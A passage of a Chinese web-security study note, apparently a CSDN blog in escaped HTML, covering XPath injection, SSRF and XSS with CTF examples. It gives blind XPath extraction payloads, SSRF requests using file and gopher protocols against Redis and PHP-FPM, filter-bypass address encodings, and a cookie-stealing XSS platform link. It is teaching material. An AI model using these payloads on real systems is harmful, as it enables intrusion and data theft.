\u6ce8\u5165\uff0c\u7531\u4e8eXpath\u4e2d\u6570\u636e\u4e0d\u50cfSQL\u4e2d\u6709\u6743\u9650\u7684\u6982\u5ff5\uff0c\u7528\u6237\u53ef\u901a\u8fc7\u63d0\u4ea4\u6076\u610fXPATH\u4ee3\u7801\u83b7\u53d6\u5230\u5b8c\u6574xml\u6587\u6863\u6570\u636e<\/p>\n<h4>\u653b\u51fb\u65b9\u5f0f<\/h4>\n<h5>Xpath\u548cXquery\u8bed\u6cd5<\/h5>\n<ul>\n<li>\u201cnodename\u201d \u2013 \u9009\u53d6nodename\u7684\u6240\u6709\u5b50\u8282\u70b9<\/li>\n<li>\u201c\/nodename\u201d \u2013 \u4ece\u6839\u8282\u70b9\u4e2d\u9009\u62e9<\/li>\n<li>\u201c\/\/nodename\u201d \u2013 \u4ece\u5f53\u524d\u8282\u70b9\u9009\u62e9<\/li>\n<li>\u201c\u2026\u201d \u2013 \u9009\u62e9\u5f53\u524d\u8282\u70b9\u7684\u7236\u8282\u70b9<\/li>\n<li>\u201cchild::node()\u201d \u2013 \u9009\u62e9\u5f53\u524d\u8282\u70b9\u7684\u6240\u6709\u5b50\u8282\u70b9<\/li>\n<li>\u201c@\u201d -\u9009\u62e9\u5c5e\u6027<\/li>\n<li>&quot;\/\/user[position()=2] &quot; \u9009\u62e9\u8282\u70b9\u4f4d\u7f6e<\/li>\n<\/ul>\n<h5>\u653b\u51fb\u601d\u8def<\/h5>\n<pre><code class=\"language-xml\">\u901a\u7528payload\uff0c\u7c7b\u4f3c\u4e8e&#039;or &#039;1&#039;=&#039;1\n&#039;]|\/\/*|\/\/*[&#039;\n\n\u4ece\u6839\u8282\u70b9\u5f00\u59cb\u5224\u65ad\n&#039;or count(\/)=1  or &#039;1&#039;=&#039;2     ###\u6839\u8282\u70b9\u6570\u91cf\u4e3a1\n&#039;or count(\/*)=1 or &#039;1&#039;=&#039;2   ##\u6839\u8282\u70b9\u4e0b\u53ea\u6709\u4e00\u4e2a\u5b50\u8282\u70b9\n\u5224\u65ad\u6839\u8282\u70b9\u4e0b\u7684\u8282\u70b9\u957f\u5ea6\u4e3a8\uff1a\n&#039;or string-length(name(\/*[1]))=8 or &#039;1&#039;=&#039;2\n\u731c\u89e3\u6839\u8282\u70b9\u4e0b\u7684\u8282\u70b9\u540d\u79f0\uff1a\n&#039;or substring(name(\/*[1]), 1, 1)=&#039;a&#039;  or &#039;1&#039;=&#039;2\n&#039;or substring(name(\/*[1]), 2, 1)=&#039;c&#039;  or &#039;1&#039;=&#039;2\n..\n&#039;or substring(name(\/*[1]), 8, 1)=&#039;s&#039;  or &#039;1&#039;=&#039;2\n\u731c\u89e3\u51fa\u8be5\u8282\u70b9\u540d\u79f0\u4e3aaccounts\n&#039;or count(\/accounts)=1  or &#039;1&#039;=&#039;2   \/accounts\u8282\u70b9\u6570\u91cf\u4e3a1\n&#039;or count(\/accounts\/user\/*)&gt;0 or &#039;1&#039;=&#039;2    \/accounts\u4e0b\u6709\u4e24\u4e2a\u8282\u70b9\n\n&#039;or string-length(name(\/accounts\/*[1]))=4  or &#039;1&#039;=&#039;2    \u7b2c\u4e00\u4e2a\u5b50\u8282\u70b9\u957f\u5ea6\u4e3a4\n\u731c\u89e3accounts\u4e0b\u7684\u8282\u70b9\u540d\u79f0\n&#039;or substring(name(\/accounts\/*[1]), 1, 1)=&#039;u&#039;  or &#039;1&#039;=&#039;2\n...\n&#039;or substring(name(\/accounts\/*[1]), 4, 1)=&#039;r&#039;  or &#039;1&#039;=&#039;2\naccounts\u4e0b\u5b50\u8282\u70b9\u540d\u79f0\u4e3auser\n&#039;or count(\/accounts\/user)=2  or &#039;1&#039;=&#039;2   \n\u7b2c\u4e00\u4e2auser\u8282\u70b9\u7684\u5b50\u8282\u70b9\u957f\u5ea6\u4e3a8\uff1a\n&#039;or string-length(name(\/accounts\/user[position()=1]\/*[1]))=8 or &#039;1&#039;=&#039;2\n\u8bfb\u53d6user\u8282\u70b9\u7684\u4e0b\u5b50\u8282\u70b9\n&#039;or substring(name(\/accounts\/user[position()=1]\/*[1]), 1, 1)=&#039;u&#039;  or &#039;1&#039;=&#039;2\n&#039;or substring(name(\/accounts\/user[position()=1]\/*[1]), 2, 1)=&#039;s&#039;  or &#039;1&#039;=&#039;2\n...\n&#039;or substring(name(\/accounts\/user[position()=1]\/*[1]), 8, 1)=&#039;e&#039;  or &#039;1&#039;=&#039;2\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<h4>\u53c2\u8003\u6587\u7ae0<\/h4>\n<p><a href=\"https:\/\/xz.aliyun.com\/t\/7791\" target=\"_blank\"  rel=\"nofollow\" >XPATH\u6ce8\u5165\u5b66\u4e60<\/a><\/p>\n<h3>0X07 SSRF<\/h3>\n<h4>\u6f0f\u6d1e\u539f\u7406<\/h4>\n<p>SSRF(service side request forgery) \u662f\u4e00\u79cd\u7531\u653b\u51fb\u8005\u6784\u9020\uff0c\u7531\u670d\u52a1\u7aef\u53d1\u8d77\u8bf7\u6c42\u7684\u4e00\u4e2a\u7f51\u7edc\u653b\u51fb\uff0c\u4e00\u822c\u7528\u6765\u5728\u5916\u7f51\u63a2\u6d4b\u6216\u653b\u51fb\u5185\u7f51\u670d\u52a1<br \/>\n<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/22cabbd31462321ef2968127ec0344cb.png#pic_center\" alt=\"SSRF\u6570\u636e\u6d41\" \/><\/p>\n<h4>\u5e38\u89c1\u6f0f\u6d1e\u5f62\u5f0f<\/h4>\n<p>\u6240\u6709\u8c03\u5916\u90e8\u8d44\u6e90\u7684\u53c2\u6570\u90fd\u6709\u53ef\u80fd\u5b58\u5728ssrf\u6f0f\u6d1e\uff0c\u4f8b\u5982\uff1a<br \/>\n<code>http:\/\/127.0.0.1\/pikachu\/vul\/ssrf\/ssrf_curl.php?url=http:\/\/\u5916\u90e8url\/1.png<\/code><\/p>\n<ol>\n<li>\n<p>\u5206\u4eab\uff1a\u901a\u8fc7URL\u5730\u5740\u5206\u4eab\u7f51\u9875\u5185\u5bb9<\/p>\n<\/li>\n<li>\n<p>\u8f6c\u7801\u670d\u52a1<\/p>\n<\/li>\n<li>\n<p>\u5728\u7ebf\u7ffb\u8bd1<\/p>\n<\/li>\n<li>\n<p>\u56fe\u7247\u52a0\u8f7d\u4e0e\u4e0b\u8f7d\uff1a\u901a\u8fc7URL\u5730\u5740\u52a0\u8f7d\u6216\u4e0b\u8f7d\u56fe\u7247<\/p>\n<\/li>\n<li>\n<p>\u56fe\u7247\u3001\u6587\u7ae0\u6536\u85cf\u529f\u80fd<\/p>\n<\/li>\n<li>\n<p>\u672a\u516c\u5f00\u7684api\u5b9e\u73b0\u4ee5\u53ca\u5176\u4ed6\u8c03\u7528URL\u7684\u529f\u80fd<\/p>\n<\/li>\n<li>\n<p>\u4eceURL\u5173\u952e\u5b57\u4e2d\u5bfb\u627e<\/p>\n<pre><code><code>share<\/code>\u3001<code>wap<\/code>\u3001<code>url<\/code>\u3001<code>link<\/code>\u3001<code>src<\/code>\u3001<code>source<\/code>\u3001<code>target<\/code>\u3001<code>u<\/code>\u3001<code>3g<\/code>\u3001<code>display<\/code>\u3001<code>source<\/code>\u3001<code>URlimage<\/code>\u3001<code>URLdomain<\/code><\/code><\/pre>\n<\/li>\n<\/ol>\n<h4>\u76f8\u5173\u51fd\u6570<\/h4>\n<p><code>file_get_contents()<\/code>\uff1a\u5c06\u6574\u4e2a\u6587\u4ef6\u6216\u4e00\u4e2aurl\u6240\u6307\u5411\u7684\u6587\u4ef6\u8bfb\u5165\u4e00\u4e2a\u5b57\u7b26\u4e32\u4e2d\u3002<\/p>\n<p><code>readfile()<\/code>\uff1a\u8f93\u51fa\u4e00\u4e2a\u6587\u4ef6\u7684\u5185\u5bb9<\/p>\n<p><code>fsockopen()<\/code>\uff1a\u6253\u5f00\u4e00\u4e2a\u7f51\u7edc\u8fde\u63a5\u6216\u8005\u4e00\u4e2aUnix \u5957\u63a5\u5b57\u8fde\u63a5\u3002<\/p>\n<p><code>curl_init()<\/code>\uff1a\u521d\u59cb\u5316\u4e00\u4e2a\u65b0\u7684\u4f1a\u8bdd\uff0c\u8fd4\u56de\u4e00\u4e2acURL\u53e5\u67c4\uff0c\u4f9bcur_lsetopt()\uff0ccurl_exec()\u548ccurl_close() \u51fd\u6570\u4f7f\u7528<\/p>\n<p><code>fopen()<\/code>\uff1a\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\u6587\u4ef6\u6216\u8005 URL<\/p>\n<h4>\u76f8\u5173\u534f\u8bae<\/h4>\n<p><code>file\u534f\u8bae<\/code>\uff1a\u5728\u6709\u56de\u663e\u7684\u60c5\u51b5\u4e0b\uff0c\u5229\u7528 file \u534f\u8bae\u53ef\u4ee5\u8bfb\u53d6\u4efb\u610f\u6587\u4ef6\u7684\u5185\u5bb9<br \/>\n<code>dict\u534f\u8bae<\/code>\uff1a\u6cc4\u9732\u5b89\u88c5\u8f6f\u4ef6\u7248\u672c\u4fe1\u606f\uff0c\u67e5\u770b\u7aef\u53e3\uff0c\u64cd\u4f5c\u5185\u7f51redis\u670d\u52a1\u7b49<br \/>\n<code>gopher\u534f\u8bae<\/code>\uff1agopher\u652f\u6301\u53d1\u51faGET\u3001POST\u8bf7\u6c42\u3002\u53ef\u4ee5\u5148\u622a\u83b7get\u8bf7\u6c42\u5305\u548cpost\u8bf7\u6c42\u5305\uff0c\u518d\u6784\u9020\u6210\u7b26\u5408gopher\u534f\u8bae\u7684\u8bf7\u6c42\u3002gopher\u534f\u8bae\u662fssrf\u5229\u7528\u4e2d\u4e00\u4e2a\u6700\u5f3a\u5927\u7684\u534f\u8bae(\u4fd7\u79f0\u4e07\u80fd\u534f\u8bae)\u3002\u53ef\u7528\u4e8e\u53cd\u5f39shell<br \/>\n<code>http\/https\u534f\u8bae<\/code>\uff1a\u63a2\u6d4b\u5185\u7f51\u4e3b\u673a\u5b58\u6d3b<\/p>\n<h4>\u5229\u7528\u65b9\u5f0f<\/h4>\n<ul>\n<li>\u8bbf\u95ee\u5185\u7f51<br \/>\n<code>http:\/\/challenge-54ab013865ee24e6.sandbox.ctfhub.com:10080\/?url=http:\/\/127.0.0.1\/flag.php<\/code><\/li>\n<li>\u4f2a\u534f\u8bae\u8bfb\u53d6\u6587\u4ef6<br \/>\n<code>http:\/\/challenge-54ab013865ee24e6.sandbox.ctfhub.com:10080\/?url=file:\/\/\/var\/www\/html\/flag.php<\/code><\/li>\n<li>\u7aef\u53e3\u626b\u63cf<br \/>\n<code>http:\/\/challenge-54ab013865ee24e6.sandbox.ctfhub.com:10080\/?url=http:\/\/127.0.0.1:8000<\/code><br \/>\nburpsuite\u6293\u5305\u4fee\u6539\u7aef\u53e3\uff0c\u4f7f\u7528intruder\u7206\u7834<\/li>\n<li>Gohper<br \/>\ngopher\u534f\u8bae\u662f\u4e00\u79cd\u4fe1\u606f\u67e5\u627e\u7cfb\u7edf\uff0c\u5c06Internet\u4e0a\u7684\u6587\u4ef6\u7ec4\u7ec7\u6210\u67d0\u79cd\u7d22\u5f15\uff0c\u65b9\u4fbf\u7528\u6237\u4eceInternet\u7684\u4e00\u5904\u5e26\u5230\u53e6\u4e00\u5904\u3002\u5728WWW\u51fa\u73b0\u4e4b\u524d\uff0cGopher\u662fInternet\u4e0a\u6700\u4e3b\u8981\u7684\u4fe1\u606f\u68c0\u7d22\u5de5\u5177\uff0cGopher\u7ad9\u70b9\u4e5f\u662f\u6700\u4e3b\u8981\u7684\u7ad9\u70b9\uff0c\u4f7f\u7528tcp70\u7aef\u53e3\u3002\u5229\u7528\u6b64\u534f\u8bae\u53ef\u4ee5\u653b\u51fb\u5185\u7f51\u7684 Redis\u3001Mysql\u3001FastCGI\u3001Ftp\u7b49\u7b49\uff0c\u4e5f\u53ef\u4ee5\u53d1\u9001 GET\u3001POST \u8bf7\u6c42\u3002<br \/>\n\u4f7f\u7528\u65b9\u5f0f\uff1a<code>gopher:\/\/ip:port\/_METHOD \/file HTTP\/1.1 http-header&amp;body<\/code><br \/>\nHTTP\u6570\u636e\u5305\u9700\u8981\u8fdb\u884cURL\u7f16\u7801\uff0c\u8df3\u8f6c\u591a\u5c11\u6b21\u5c31\u8fdb\u884c\u591a\u5c11\u6b21\u7f16\u7801\uff0c\u7b2c\u4e00\u6b21\u7f16\u7801\u540e\u9700\u8981\u5c06<code>%0A<\/code>\u6362\u6210<code>%0D%0A<\/code><br \/>\n\u6ce8\u610furl\u7f16\u7801\u91c7\u7528<code>encodeURIComponent<\/code>\uff0c\u6d41\u7a0b\u4e3a\uff1a<br \/>\n<code>encodeURIComponent-&gt;%0A\u6362\u6210%0D%0A-&gt;\u5728\u524d\u9762\u52a0gopher:\/\/127.0.0.1:80\/_-&gt;encodeURIComponent<\/code><\/li>\n<li>FastCGI\u534f\u8bae<br \/>\nHTTP\u662f\u5b8c\u6210\u6d4f\u89c8\u5668\u5230\u4e2d\u95f4\u4ef6\u7684\u8bf7\u6c42\uff0cFastCGI\u5219\u662f\u4ece\u4e2d\u95f4\u4ef6\u5230\u540e\u7aef\u8fdb\u884c\u4ea4\u6362\u7684\u534f\u8bae\uff0c\u7531PHP-FPM\u6309\u7167FastCGI\u7684\u534f\u8bae\u5c06TCP\u6d41\u89e3\u6790\u6210\u771f\u6b63\u7684\u6570\u636e.<br \/>\n<code>PHP-FPM<\/code>\u62ff\u5230<code>FastCGI<\/code>\u7684\u6570\u636e\u5305\u540e\uff0c\u8fdb\u884c\u89e3\u6790\uff0c\u5f97\u5230\u4e0a\u8ff0\u8fd9\u4e9b\u73af\u5883\u53d8\u91cf\u3002\u7136\u540e\uff0c\u6267\u884c<code>SCRIPT_FILENAME<\/code>\u7684\u503c\u6307\u5411\u7684PHP\u6587\u4ef6\uff0c\u4e5f\u5c31\u662f<code>\/var\/www\/html\/index.php<\/code><\/li>\n<\/ul>\n<pre><code class=\"language-php\">{\n        &#039;GATEWAY_INTERFACE&#039;: &#039;FastCGI\/1.0&#039;,\n        &#039;REQUEST_METHOD&#039;: &#039;GET&#039;,\n        &#039;SCRIPT_FILENAME&#039;: &#039;\/var\/www\/html\/index.php&#039;,\n        &#039;SCRIPT_NAME&#039;: &#039;\/index.php&#039;,\n        &#039;QUERY_STRING&#039;: &#039;?a=1&amp;b=2&#039;,\n        &#039;REQUEST_URI&#039;: &#039;\/index.php?a=1&amp;b=2&#039;,\n        &#039;DOCUMENT_ROOT&#039;: &#039;\/var\/www\/html&#039;,\n        &#039;SERVER_SOFTWARE&#039;: &#039;php\/fcgiclient&#039;,\n        &#039;REMOTE_ADDR&#039;: &#039;127.0.0.1&#039;,\n        &#039;REMOTE_PORT&#039;: &#039;12345&#039;,\n        &#039;SERVER_ADDR&#039;: &#039;127.0.0.1&#039;,\n        &#039;SERVER_PORT&#039;: &#039;80&#039;,\n        &#039;SERVER_NAME&#039;: &quot;localhost&quot;,\n        &#039;SERVER_PROTOCOL&#039;: &#039;HTTP\/1.1&#039;\n    }\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<pre><code>- Nginx\u89e3\u6790\u6f0f\u6d1e\uff1a\n    PHP\u8bbe\u7f6e\u4e2d\u7684\u4e00\u4e2a\u9009\u9879fix_pathinfo\u5bfc\u81f4\u4e86\u8fd9\u4e2a\u6f0f\u6d1e\n    \u6b63\u5e38\u6765\u8bf4\uff0cSCRIPT_FILENAME\u7684\u503c\u662f\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u6587\u4ef6\/var\/www\/html\/favicon.ico\/.php\n    PHP\u4e3a\u4e86\u652f\u6301Path Info\u6a21\u5f0f\u800c\u521b\u9020\u4e86fix_pathinfo\uff0c\u5728\u8fd9\u4e2a\u9009\u9879\u88ab\u6253\u5f00\u7684\u60c5\u51b5\u4e0b\uff0cfpm\u4f1a\u5224\u65adSCRIPT_FILENAME\u662f\u5426\u5b58\u5728\n    \u5982\u679c\u4e0d\u5b58\u5728\u5219\u53bb\u6389\u6700\u540e\u4e00\u4e2a\/\u53ca\u4ee5\u540e\u7684\u6240\u6709\u5185\u5bb9\uff0c\u518d\u6b21\u5224\u65ad\u6587\u4ef6\u662f\u5426\u5b58\u5728\uff0c\u5f80\u6b21\u5faa\u73af\uff0c\u76f4\u5230\u6587\u4ef6\u5b58\u5728\u3002\n    \u6240\u4ee5\uff0c\u7b2c\u4e00\u6b21fpm\u53d1\u73b0\/var\/www\/html\/favicon.ico\/.php\u4e0d\u5b58\u5728\uff0c\u5219\u53bb\u6389\/.php\n    \u518d\u5224\u65ad\/var\/www\/html\/favicon.ico\u662f\u5426\u5b58\u5728\n    \u663e\u7136\u8fd9\u4e2a\u6587\u4ef6\u662f\u5b58\u5728\u7684\uff0c\u4e8e\u662f\u88ab\u4f5c\u4e3aPHP\u6587\u4ef6\u6267\u884c\uff0c\u5bfc\u81f4\u89e3\u6790\u6f0f\u6d1e\n    \u6b63\u786e\u7684\u89e3\u51b3\u65b9\u6cd5\u6709\u4e24\u79cd\uff1a\n    1. Nginx\u7aef\u4f7f\u7528fastcgi_split_path_info\u5c06path info\u4fe1\u606f\u53bb\u9664\u540e\uff0c\u7528tryfiles\u5224\u65ad\u6587\u4ef6\u662f\u5426\u5b58\u5728\uff1b\n    2. \u501f\u52a9PHP-FPM\u7684security.limit_extensions\u914d\u7f6e\u9879\uff0c\u907f\u514d\u5176\u4ed6\u540e\u7f00\u6587\u4ef6\u88ab\u89e3\u6790\u3002\n- PHP-FPM\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e\n    PHP-FPM\u9ed8\u8ba4\u76d1\u542c9000\u7aef\u53e3\uff0c\u5982\u679c\u8fd9\u4e2a\u7aef\u53e3\u66b4\u9732\u5728\u516c\u7f51\uff0c\u5219\u6211\u4eec\u53ef\u4ee5\u81ea\u5df1\u6784\u9020fastcgi\u534f\u8bae\uff0c\u548cfpm\u8fdb\u884c\u901a\u4fe1\n    \u6784\u9020\u901a\u4fe1\u65f6\uff0c\u5f53\u7136\u6211\u4eec\u60f3\u8981\u8bf7\u6c42\u654f\u611f\u6587\u4ef6\uff0c\u4f46\u662f\u73b0\u5728\u4e00\u822c\u90fd\u6709\u6587\u4ef6\u540e\u7f00\u9650\u5236\uff0c\u5373\u4f60\u4e0d\u80fd\u76f4\u63a5\u8bf7\u6c42\u654f\u611f\u6587\u4ef6\u5939\uff08\u9ed8\u8ba4\u540e\u7f00\u4e00\u822c\u662f.php\uff09<\/code><\/pre>\n<p>\u95ee\u9898\u5728\u4e8e\u65e0\u6cd5\u6267\u884c\u6211\u4eec\u60f3\u8981\u7684\u6587\u4ef6\uff0c\u65e0\u6cd5\u8fdb\u884c\u654f\u611f\u64cd\u4f5c\uff0c\u5373\u4f7f\u627e\u5230\u4e86\u672a\u6388\u6743\u8bbf\u95ee\uff0c\u90a3\u4e5f\u53ea\u80fd\u6267\u884c\u670d\u52a1\u5668\u4e0a\u7684\u56fa\u6709\u6587\u4ef6\uff0c\u4e0d\u8fc7\u65e2\u7136\u80fd\u64cd\u4f5c\u73af\u5883\u53d8\u91cf\uff0c\u5c31\u53ef\u4ee5\u8bbe\u7f6e\u81ea\u52a8\u5305\u542b\u4f2a\u534f\u8bae\u3002\u8bbe\u7f6e<code>auto_prepend_file = php:\/\/input<\/code>\u4e14<code>allow_url_include = On<\/code>\uff0c\u7ed3\u5408\u6587\u4ef6\u4e0a\u4f20php\u4f2a\u534f\u8bae\u5229\u7528\u65b9\u5f0f\u5373\u53ef<\/p>\n<p><a href=\"https:\/\/github.com\/tarunkant\/Gopherus\" target=\"_blank\"  rel=\"nofollow\" >Gopherus<\/a><br \/>\n<a href=\"https:\/\/gist.github.com\/phith0n\/9615e2420f31048f7e30f3937356cf75\" target=\"_blank\"  rel=\"nofollow\" >exp\u5730\u5740<\/a><\/p>\n<ul>\n<li>\n<p>Redis\u534f\u8bae<br \/>\n<code>Redis<\/code>\u5728\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u4f1a\u7ed1\u5b9a\u5728<code>0.0.0.0:6379<\/code>\u3002\u5982\u679c\u6ca1\u6709\u91c7\u53d6\u76f8\u5173\u7684\u5b89\u5168\u7b56\u7565\uff0c\u6bd4\u5982\u6dfb\u52a0\u9632\u706b\u5899\u89c4\u5219\u3001\u907f\u514d\u5176\u4ed6\u975e\u4fe1\u4efb\u6765\u6e90IP\u8bbf\u95ee\u7b49\uff0c\u8fd9\u6837\u4f1a\u4f7f<code>Redis<\/code>\u670d\u52a1\u5b8c\u5168\u66b4\u9732\u5728\u516c\u7f51\u4e0a\u3002\u5982\u679c\u5728\u6ca1\u6709\u8bbe\u7f6e\u5bc6\u7801\u8ba4\u8bc1(\u4e00\u822c\u4e3a\u7a7a)\u7684\u60c5\u51b5\u4e0b\uff0c\u4f1a\u5bfc\u81f4\u4efb\u610f\u7528\u6237\u5728\u8bbf\u95ee\u76ee\u6807\u670d\u52a1\u5668\u65f6\uff0c\u53ef\u4ee5\u5728\u672a\u6388\u6743\u7684\u60c5\u51b5\u4e0b\u8bbf\u95ee<code>Redis<\/code>\u4ee5\u53ca\u8bfb\u53d6<code>Redis<\/code>\u7684\u6570\u636e\u3002\u653b\u51fb\u8005\u5728\u672a\u6388\u6743\u8bbf\u95ee<code>Redis<\/code>\u7684\u60c5\u51b5\u4e0b\uff0c\u5229\u7528<code>Redis<\/code>\u81ea\u8eab\u7684\u63d0\u4f9b\u7684<code>config<\/code>\u547d\u4ee4\uff0c\u53ef\u4ee5\u8fdb\u884c\u6587\u4ef6\u7684\u8bfb\u5199\u7b49\u64cd\u4f5c\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u6210\u529f\u5730\u5c06\u81ea\u5df1\u7684ssh\u516c\u94a5\u5199\u5165\u5230\u76ee\u6807\u670d\u52a1\u5668\u7684<code>\/root\/.ssh<\/code>\u6587\u4ef6\u5939\u4e0b\u7684<code>authotrized_keys<\/code>\u6587\u4ef6\u4e2d\uff0c\u8fdb\u800c\u53ef\u4ee5\u4f7f\u7528\u5bf9\u5e94\u5730\u79c1\u94a5\u76f4\u63a5\u4f7f\u7528<code>ssh<\/code>\u670d\u52a1\u767b\u5f55\u76ee\u6807\u670d\u52a1\u5668\u3002<\/p>\n<pre><code>  \u653b\u51fb\u8005\u65e0\u9700\u8ba4\u8bc1\u8bbf\u95ee\u5230\u5185\u90e8\u6570\u636e\uff0c\u53ef\u80fd\u5bfc\u81f4\u654f\u611f\u4fe1\u606f\u6cc4\u9732\uff0c\u9ed1\u5ba2\u4e5f\u53ef\u4ee5\u901a\u8fc7\u6076\u610f\u6267\u884cflushall\u6765\u6e05\u7a7a\u6240\u6709\u6570\u636e\n\u653b\u51fb\u8005\u53ef\u901a\u8fc7EVAL\u6267\u884c\u4ee3\u7801\uff0c\u6216\u901a\u8fc7\u6570\u636e\u5907\u4efd\u529f\u80fd\u5f80\u78c1\u76d8\u5199\u5165\u540e\u95e8\u6587\u4ef6\n\u5982\u679cRedis\u4ee5root\u8eab\u4efd\u8fd0\u884c\uff0c\u9ed1\u5ba2\u53ef\u4ee5\u7ed9root\u8d26\u6237\u5199\u5165SSH\u516c\u94a5\u6587\u4ef6\uff0c\u76f4\u63a5\u901a\u8fc7SSH\u767b\u5f55\u53d7\u5bb3\u8005\u670d\u52a1\u5668\n\u5f53\u7136\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c\u4f1a\u907f\u514d\u5176\u4ed6\u975e\u4fe1\u4efb\u6765\u6e90IP\u8bbf\u95ee\uff0c\u6240\u4ee5\u901a\u8fc7gopher\u534f\u8bae\u4ece\u670d\u52a1\u5668\u4e0a\u8fdb\u5165redis\uff0c\u7136\u540e\u901a\u8fc7\u7ec8\u7aef\u5199\u9a6c\u5b8c\u6210\u653b\u51fb\u3002<\/code><\/pre>\n<p>\u5229\u7528\u5de5\u5177\u540c\u4e0a<br \/>\n<a href=\"https:\/\/github.com\/tarunkant\/Gopherus\" target=\"_blank\"  rel=\"nofollow\" >Gopherus<\/a><\/p>\n<h4>\u7ed5\u8fc7\u65b9\u5f0f<\/h4>\n<h5>\u8fdb\u5236\u8f6c\u6362<\/h5>\n<pre><code>  ```php\nhttp:\/\/127.0.0.1  >>>  http:\/\/0177.0.0.1\/\nhttp:\/\/127.0.0.1  >>>  http:\/\/2130706433\/\nhttp:\/\/192.168.0.1  >>>  http:\/\/3232235521\/\nhttp:\/\/192.168.1.1  >>>  http:\/\/3232235777\/<\/code><\/pre>\n<pre><code>##### \u7279\u6b8a\u5b57\u4f53\u7ed5\u8fc7\n<\/code><\/pre>\n<pre><code class=\"language-php\">\n\u24d4\u24e7\u24d0\u24dc\u24df\u24db\u24d4.\u24d2\u24de\u24dc  >>>  example.com\n\u2460\u2461\u2466.\u24ff.\u24ff.\u2460  >>> 127.0.0.1\n<\/code><\/pre>\n<pre><code>\n##### \u7279\u6b8a\u5730\u5740\u7ed5\u8fc7\n<\/code><\/pre>\n<pre><code class=\"language-php\">http:\/\/0\/  # 0.0.0.0\u53ef\u4ee5\u76f4\u63a5\u8bbf\u95ee\u5230\u672c\u5730\nhttp:\/\/127\u30020\u30020\u30021  # \u7ed5\u8fc7\u540e\u7aef\u6b63\u5219\u89c4\u5219\nhttp:\/\/localhost\/<\/code><\/pre>\n<pre><code>##### \u77ed\u94fe\u63a5\u7ed5\u8fc7\n<\/code><\/pre>\n<p>\u77ed\u94fe\u63a5\u53d8\u6362\u901a\u8fc7\u68c0\u7d22\u77ed\u7f51\u5740\u4e0a\u7684\u6570\u636e\u5e93\u94fe\u63a5\uff0c\u518d\u8df3\u8f6c\u539f\uff08\u957f\uff09\u94fe\u63a5\u8bbf\u95ee<\/p>\n<pre><code>[\u77ed\u94fe\u63a5\u53d8\u6362\u63a8\u8350\u94fe\u63a5](https:\/\/www.985.so\/)\n\n##### xip.io\n<\/code><\/pre>\n<p><a href=\"http:\/\/www.127.0.0.1.xip.io\" target=\"_blank\"  rel=\"nofollow\" >http:\/\/www.127.0.0.1.xip.io<\/a><\/p>\n<pre><code>##### DNS\u91cd\u7ed1\u5b9a\n\n\u653b\u51fb\u6d41\u7a0b\u4e3a\uff1a\n<\/code><\/pre>\n<p>1.\u670d\u52a1\u5668\u7aef\u83b7\u5f97URL\u53c2\u6570\uff0c\u8fdb\u884c\u7b2c\u4e00\u6b21DNS\u89e3\u6790\uff0c\u83b7\u5f97\u4e86\u4e00\u4e2a\u975e\u5185\u7f51\u7684IP<\/p>\n<p>2.\u5bf9\u4e8e\u83b7\u5f97\u7684IP\u8fdb\u884c\u5224\u65ad\uff0c\u53d1\u73b0\u4e3a\u6307\u5b9a\u8303\u56f4IP\uff0c\u5219\u901a\u8fc7\u9a8c\u8bc1<br \/>\n3.\u63a5\u4e0b\u6765\u670d\u52a1\u5668\u7aef\u5bf9URL\u8fdb\u884c\u8bbf\u95ee\uff0c\u7531\u4e8eDNS\u670d\u52a1\u5668\u8bbe\u7f6e\u7684TTL\u4e3a0\uff0c\u6240\u4ee5\u518d\u6b21\u8fdb\u884cDNS\u89e3\u6790\uff0c\u8fd9\u4e00\u6b21DNS\u670d\u52a1\u5668\u8fd4\u56de\u7684\u662f\u5185\u7f51\u5730\u5740<br \/>\n4.\u7531\u4e8e\u5df2\u7ecf\u7ed5\u8fc7\u9a8c\u8bc1\uff0c\u6240\u4ee5\u670d\u52a1\u5668\u7aef\u8fd4\u56de\u8bbf\u95ee\u5185\u7f51\u8d44\u6e90\u7684\u5185\u5bb9<\/p>\n<pre><code>[\u5de5\u5177\u94fe\u63a5](https:\/\/lock.cmpxchg8b.com\/rebinder.html)\n<\/code><\/pre>\n<\/li>\n<\/ul>\n<h4>\u53c2\u8003\u6587\u7ae0<\/h4>\n<p><a href=\"https:\/\/www.cnblogs.com\/Sayo-\/p\/16041602.html\" target=\"_blank\"  rel=\"nofollow\" >SSRF - ctfhub -2<\/a><\/p>\n<h3>0X08 XSS<\/h3>\n<h4>\u6f0f\u6d1e\u539f\u7406<\/h4>\n<p>XSS \u653b\u51fb\u5168\u79f0\u8de8\u7ad9\u811a\u672c\u653b\u51fb\uff0c\u5141\u8bb8\u6076\u610f web \u7528\u6237\u5c06\u4ee3\u7801\u690d\u5165\u5230 web \u7f51\u7ad9\u91cc\u9762\uff0c\u4f9b\u7ed9\u5176\u5b83\u7528\u6237\u8bbf\u95ee\uff0c\u5f53\u7528\u6237\u8bbf\u95ee\u5230\u6709\u6076\u610f\u4ee3\u7801\u7684\u7f51\u9875\u5c31\u4f1a\u4ea7\u751f xss \u653b\u51fb<\/p>\n<h4>\u653b\u51fb\u65b9\u5f0f<\/h4>\n<ul>\n<li>\u5224\u65ad\u662f\u5426\u5b58\u5728XSS\u6f0f\u6d1e<br \/>\n<code>&lt;script&gt;alert(1)&lt;\/script&gt;<\/code><\/li>\n<li>\u5229\u7528XSS\u5e73\u53f0\u63a5\u6536cookie<br \/>\n<a href=\"https:\/\/xss.yt\/\" target=\"_blank\"  rel=\"nofollow\" >XSS\u5e73\u53f0<\/a><\/li>\n<\/ul>\n<h4>\u7ed5\u8fc7\u65b9\u5f0f<\/h4>\n<p>XSS\u5e73\u53f0\u6709\u5bf9\u5e94\u7684\u7ed5\u8fc7waf\u8fc7\u6ee4\u7684\u811a\u672c\u5199\u6cd5\uff0c\u53ef\u53c2\u8003<\/p>\n<h3>0X09 